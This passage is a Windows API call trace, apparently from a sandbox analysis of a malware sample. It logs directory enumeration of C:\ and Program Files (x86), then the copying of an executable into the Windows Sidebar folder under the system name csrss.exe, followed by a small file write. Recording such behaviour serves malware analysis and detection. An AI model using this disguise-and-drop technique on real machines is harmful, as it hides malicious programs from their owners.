ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x4fec80 [0055.205] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0055.205] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0055.205] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0055.206] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0055.206] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0055.206] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0055.206] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0055.207] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0055.208] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0055.208] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0055.208] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0055.208] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0055.208] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0055.208] FindClose (in: hFindFile=0x4fec80 | out: hFindFile=0x4fec80) returned 1 [0055.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0055.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0055.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0055.258] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0055.258] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fec80 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9d03b80, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d03b80, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1063b30, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~3")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xda12e200, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda12e200, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~4")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4399b030, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4399b030, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39960750, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9d29ce0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d29ce0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0055.259] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xd96c41c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96c41c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9710480, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9710480, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9de83c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9de83c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0055.261] FindNextFileW (in: hFindFile=0x4fec80, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0055.261] FindClose (in: hFindFile=0x4fec80 | out: hFindFile=0x4fec80) returned 1 [0055.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0055.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0055.316] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0055.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe", lpFilePart=0x0) returned 0x30 [0055.316] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\csrss.exe"), bFailIfExists=0) returned 1 [0055.435] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\886983d96e3d3e", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\886983d96e3d3e", lpFilePart=0x0) returned 0x35 [0055.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0055.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\886983d96e3d3e" (normalized: "c:\\program files (x86)\\windows sidebar\\886983d96e3d3e"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2cc [0055.436] GetFileType (hFile=0x2cc) returned 0x1 [0055.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0055.436] GetFileType (hFile=0x2cc) returned 0x1 [0055.440] WriteFile (in: hFile=0x2cc, lpBuffer=0x29bd298*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x29bd298*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x31, lpOverlapped=0x0) returned 1 [0055.442] CloseHandle (hObject=0x2cc) returned 1 [0055.770] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2cc [0055.774] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0055.800] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", 